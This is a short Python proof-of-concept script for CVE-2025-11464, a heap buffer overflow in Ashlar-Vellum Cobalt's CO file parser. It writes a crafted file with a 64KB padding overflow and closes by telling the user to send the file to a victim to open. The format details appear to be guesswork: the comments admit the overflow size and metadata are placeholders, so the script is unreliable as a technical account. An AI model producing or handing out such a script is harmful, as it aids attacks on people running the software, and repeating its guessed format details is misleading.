CVE-2025-11464 Ashlar-Vellum Cobalt CO文件堆缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-11464 PoC - Ashlar-Vellum Cobalt CO File Heap Buffer Overflow # This PoC generates a malicious CO file that triggers heap buffer overflow import struct def create_malicious_co_file(filename): """ Generate a malicious CO file to trigger heap buffer overflow in Ashlar-Vellum Cobalt CO file parser. """ # CO file header structure header = b'CO' # File signature header += struct.pack('<I', 0x00000001) # Version header += struct.pack('<I', 0x00000000) # Flags # Craft payload with excessive length to overflow heap buffer # The exact overflow size depends on the vulnerable buffer allocation overflow_size = 0x10000 # 64KB overflow data malicious_data = b'A' * overflow_size # Pattern to identify overflow # File metadata section metadata = b'\x00' * 256 # Placeholder metadata # Combine all parts poc_data = header + malicious_data + metadata with open(filename, 'wb') as f: f.write(poc_data) print(f'[+] PoC file created: {filename}') print(f'[+] Overflow size: {overflow_size} bytes') print('[!] This file will trigger heap buffer overflow when opened in Ashlar-Vellum Cobalt') if __name__ == '__main__': create_malicious_co_file('CVE-2025-11464.malicious.co') print('\n[*] Usage: Send this file to victim and have them open it with Ashlar-Vellum Cobalt')